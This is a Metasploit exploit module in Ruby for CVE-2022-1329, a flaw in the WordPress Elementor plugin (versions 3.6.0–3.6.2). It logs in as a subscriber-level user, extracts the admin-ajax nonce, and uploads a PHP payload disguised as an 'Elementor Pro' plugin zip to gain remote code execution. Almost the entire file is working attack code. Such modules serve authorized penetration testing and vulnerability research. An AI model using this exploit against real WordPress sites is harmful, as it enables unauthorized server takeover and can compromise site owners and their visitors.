##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Wordpress Plugin Elementor Authenticated Upload Remote Code Execution',
        'Description' => %q{
          The WordPress plugin Elementor versions 3.6.0 - 3.6.2, inclusive have a vulnerability
          that allows any authenticated user to upload and execute any PHP file. This is achieved
          by sending a request to install Elementor Pro from a user supplied zip file.
          Any user with Subscriber or more permissions is able to execute this.
          Tested against Elementor 3.6.1
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Ramuel Gall', # Discovery
          'AkuCyberSec', # Exploit-db
          'h00die' # Metasploit module
        ],
        'References' => [
          ['EDB', '50115'],
          ['CVE', '2022-1329'],
          ['URL', 'https://www.wordfence.com/blog/2022/04/elementor-critical-remote-code-execution-vulnerability/'],
          ['URL', 'https://www.youtube.com/watch?v=tIhN1svzAYk'] # great video about the exploit
        ],
        'Platform' => [ 'php' ],
        'Arch' => ARCH_PHP,
        'Targets' => [
          [ 'Wordpress Elementor', {}]
        ],
        'Privileged' => false,
        'DisclosureDate' => '2022-03-29',
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ]
        }
      )
    )

    register_options [
      OptString.new('USERNAME', [true, 'Username of a subscriber or higher account', '']),
      OptString.new('PASSWORD', [true, 'Password of a subscriber or higher account', '']),
      OptString.new('TARGETURI', [true, 'The base path of the Wordpress server', '/'])
    ]
  end

  def check
    unless wordpress_and_online?
      return CheckCode::Safe('Server not online or not detected as Wordpress')
    end

    cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
    CheckCode::Safe('Invalid credentials given!') unless cookie

    return check_plugin_version_from_readme('elementor', '3.6.3', '3.6.0')
  end

  def upload_file(nonce, cookie)
    zip_file = Rex::Zip::Archive.new
    payload_name = 'elementor-pro.php'
    print_status("Payload file name: #{payload_name}")
    # we end up in wp-admin, so we need to get to the right folder
    register_dirs_for_cleanup('../wp-content/plugins/elementor-pro')
    # payload must contain a Plugin Name header with the name of the plugin
    pload = "<?php\n"
    pload << "/**\n"
    pload << "* Plugin Name: Elementor Pro\n"
    pload << "*/\n"
    pload << payload.encoded.gsub('/*<?php /**/ ', '')
    pload << "\n?>"
    zip_file.add_file("/elementor-pro/#{payload_name}", pload)

    vars_form_data = [
      # post_data.add_part('elementor_upload_and_install_pro', nil, nil, 'form-data; name="action"')
      {
        'name' => 'action',
        'data' => 'elementor_upload_and_install_pro'
      },
      # post_data.add_part(nonce, nil, nil, 'form-data; name="_nonce"')
      {
        'name' => '_nonce',
        'data' => nonce
      },
      # post_data.add_part(zip_file.pack, 'application/x-zip-compressed', 'binary', 'form-data; name="fileToUpload"; filename="elementor-pro.zip"')
      {
        'name' => 'fileToUpload',
        'data' => zip_file.pack,
        'encoding' => 'binary',
        'filename' => 'elementor-pro.zip',
        'mime_type' => 'application/x-zip-compressed'
      }

    ]

    resp = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
      'cookie' => cookie,
      'vars_form_data' => vars_form_data
    )
    # we get a timeout on success
    if resp.nil?
      print_good('Payload Uploaded Successfully')
      return
    end
    fail_with(Failure::UnexpectedReply, 'Error uploading payload')
  end

  def get_nonce(cookie)
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'wp-admin', 'profile.php'),
      'cookie' => cookie
    )

    unless res && (res.code == 200)
      fail_with(Failure::UnexpectedReply, "Could not get the nonce (#{res.code})")
    end
    # find the RIGHT nonce, there are many nonces on the page, but we need the admin-ajax one
    res.body.scan(/admin-ajax.php","nonce":"([a-z0-9]+)"/)[0][0].to_s
  end

  def exploit
    cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD'])
    fail_with(Failure::NoAccess, 'Authentication failed') unless cookie
    cookie = cookie.gsub('wordpress_test_cookie=WP%20Cookie%20check; ', '')

    print_status('Looking for nonce')
    nonce = get_nonce(cookie)
    fail_with(Failure::NoAccess, 'Unable to find nonce') if nonce.nil?
    print_good("Nonce: #{nonce}")

    print_status('Uploading upgrade payload and activating...')
    upload_file(nonce, cookie)
  end
end
